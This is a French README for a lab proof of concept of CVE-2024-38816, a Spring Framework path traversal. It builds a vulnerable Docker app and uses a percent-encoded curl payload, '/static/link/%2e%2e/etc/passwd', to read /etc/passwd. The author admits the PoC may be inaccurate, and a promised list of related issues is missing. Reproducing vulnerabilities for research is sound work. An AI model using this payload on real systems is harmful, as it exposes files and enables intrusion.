
Preuve de concept pour CVE-2024-38816
Ceci est une preuve de concept pour la vulnérabilité CVE-2024-38816, démontrant une exploitation par traversée de chemin.
Construire l'image Docker : (Spring Boot 3.0.13, basé sur Spring Framework 6.0.3)
docker build -t cve-2024-38816-poc .
Lancer le conteneur et exposer le port 8080 vers la machine hôte :
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
Exécuter la commande suivante pour lancer le PoC et confirmer la vulnérabilité :
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si le contenu du fichier /etc/passwd s'affiche, la vulnérabilité est confirmée.
Ce PoC a été créé sur la base d'une analyse des notes de version et des journaux de commits. Le comportement réel de la vulnérabilité peut différer, la précision n'est donc pas garantie. Utilisez-le à vos propres risques.
La vulnérabilité a été corrigée dans Spring Framework 6.1.13, comme l'indiquent les notes de version.
En examinant les notes de version et les journaux de commits associés, j'ai identifié les deux problèmes suivants comme étant potentiellement liés à cette vulnérabilité :
Selon l'avis de sécurité, les conditions suivantes doivent probablement être réunies pour que l'attaque réussisse :
RouterFunctions est utiliséFileSystemResource est utiliséUn environnement Docker est utilisé pour reproduire la vulnérabilité.
Créer PathTraversalDemoApplication.java avec le code suivant pour configurer le routage de fichiers statiques à l'aide de RouterFunction et FileSystemResource :
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Ajouter la commande suivante au Dockerfile pour créer un lien symbolique :
RUN ln -s /static /app/static/link
Créer une charge utile qui exploite l'encodage en % pour traverser les répertoires via le lien symbolique.
/static/link/%2e%2e/etc/passwdUtiliser la commande curl suivante pour exécuter le PoC et vérifier si l'attaque réussit :
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Si l'attaque réussit, le contenu du fichier /etc/passwd s'affichera.
Ce PoC est fourni à des fins éducatives et de recherche en sécurité. Avant de l'utiliser dans un système réel, assurez-vous que la vulnérabilité a été corrigée et que vous disposez des autorisations appropriées. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code.